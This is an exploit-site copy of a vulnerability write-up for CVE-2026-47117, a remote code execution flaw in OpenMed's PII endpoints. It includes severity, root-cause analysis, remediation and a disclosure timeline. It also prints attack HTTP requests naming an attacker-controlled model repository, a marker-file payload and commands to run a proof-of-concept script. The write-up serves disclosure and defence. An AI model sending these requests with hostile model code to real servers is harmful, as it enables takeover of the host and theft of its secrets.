Sploitus

Exploit for CVE-2026-47117

githubexploit Β· 2026-08-15

Exploit Code

README157 lines
## https://sploitus.com/exploit?id=2973A9FF-B27F-533D-AF4F-B6F550A435A6
# CVE-2026-47117: OpenMed Unauthenticated Remote Code Execution via PII Model Loading

**Severity:** Critical, CVSS 4.0 **9.3**, CVSS 3.1 **9.8** (assigned by VulnCheck, the CNA)

**Vector (v4.0):** `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`

**Vector (v3.1):** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

**Affected:** OpenMed `< 1.5.2`

**Fixed in:** `1.5.2`

**CWE:** CWE-94 (Improper Control of Generation of Code, Code Injection)

**Reported by:** Sai Teja Erukude

**CNA:** VulnCheck

**Published:** June 2, 2026

---

## Summary

OpenMed before `1.5.2` contains an unauthenticated remote code execution vulnerability in the PII privacy-filter model loading path.

The REST API endpoints `POST /pii/extract` and `POST /pii/deidentify` accept a `model_name` value from the request body. In vulnerable versions, the privacy-filter dispatcher used broad substring matching on this attacker-controlled value. A model name such as `attacker/foo-privacy-filter-bar` could therefore route into the privacy-filter backend.

On non-MLX/Torch deployments, that backend loaded Hugging Face model artifacts through Transformers with `trust_remote_code=True`. If the attacker-controlled model repository contained custom Transformers code referenced through `auto_map` in `config.json` or `tokenizer_config.json`, Transformers imported and executed that Python code during model or tokenizer loading.

The imported code executed with the privileges of the OpenMed service process.

## Impact

An unauthenticated remote attacker who can reach the OpenMed REST API may execute arbitrary Python code on the server by supplying a malicious Hugging Face-style model identifier in `model_name`.

Depending on the service deployment, this can allow:

- Reading or modifying files accessible to the OpenMed process.
- Accessing environment variables and application secrets.
- Calling internal services reachable from the OpenMed host.
- Disrupting or replacing application behavior.

## Affected Endpoints

The issue is reachable through both PII endpoints because both accept `model_name` and use the same PII extraction/model loading path:

```http
POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
```

```http
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
```

## Technical Detail

The vulnerable control flow has two trust-boundary failures:

1. The API trusted a user-supplied `model_name` when selecting the privacy-filter backend.
2. The selected backend trusted remote model repository code by loading Transformers artifacts with `trust_remote_code=True`.

The dispatcher treated any model identifier containing `privacy-filter` as part of the privacy-filter family. This allowed attacker-controlled identifiers, for example `attacker/foo-privacy-filter-bar`, to reach a code path intended for trusted first-party Privacy Filter models.

Once routed there, Transformers could load attacker-controlled custom code through `auto_map`. This import happens during model/tokenizer loading, before any useful inference has to succeed. A proof payload can therefore be as small as:

```python
from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)
```

## Proof of Concept

[`poc_exploit.py`](./poc_exploit.py) builds a harmless local Hugging Face-style model directory whose name contains `privacy-filter`. The generated custom Transformers modules write a marker file when imported. The script then sends a request to a test OpenMed API instance with that directory as `model_name`.

The expected behavior on vulnerable OpenMed versions is:

1. The API accepts the attacker-controlled `model_name`.
2. Substring routing sends it to the privacy-filter backend.
3. Transformers imports the generated custom module because `trust_remote_code=True`.
4. The marker file is created, proving code execution in the OpenMed service process.
5. The request may fail afterward because the toy model is not a real Privacy Filter model; the import-time marker is the relevant proof.

Run against a local test instance only:

```bash
pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract
```

If the OpenMed service runs somewhere that cannot access the generated local directory, publish an equivalent test model to a controlled Hugging Face repository and pass that identifier explicitly:

```bash
python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt
```

## Remediation

Upgrade to OpenMed `1.5.2` or later.

OpenMed `1.5.2` separates routing from trust:

- Arbitrary repository names containing `privacy-filter` no longer route through the trusted privacy-filter path.
- `PrivacyFilterTorchPipeline` defaults `trust_remote_code` to `False`.
- Only explicit first-party Privacy Filter repositories are allowlisted for trusted remote-code loading.
- Operators who need controlled private fine-tunes can allowlist them with `OPENMED_TRUSTED_REMOTE_CODE_MODELS`.

If immediate upgrade is not possible:

- Do not expose the vulnerable REST API to untrusted clients.
- Do not pass user-controlled `model_name` values to Transformers with `trust_remote_code=True`.
- Replace substring-based model routing with exact trusted model identifiers.
- Preload approved local model artifacts in production and disable arbitrary model downloads.

## Disclosure Timeline

| Date | Event |
|---|---|
| May 18, 2026 | Vulnerability submitted to VulnCheck |
| May 20, 2026 | VulnCheck initiated coordinated disclosure outreach |
| May 22, 2026 | `CVE-2026-47117` provisionally allocated |
| June 1, 2026 | OpenMed `1.5.2` fix reviewed and confirmed |
| June 2, 2026 | `CVE-2026-47117` published |

## Credit

Discovered and reported by **Sai Teja Erukude**, coordinated through VulnCheck.

## References

- CVE Record: https://vulners.com/cve/CVE-2026-47117
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
- VulnCheck advisory: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
- OpenMed 1.5.2 release notes: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
- OpenMed project: https://github.com/maziyarpanahi/openmed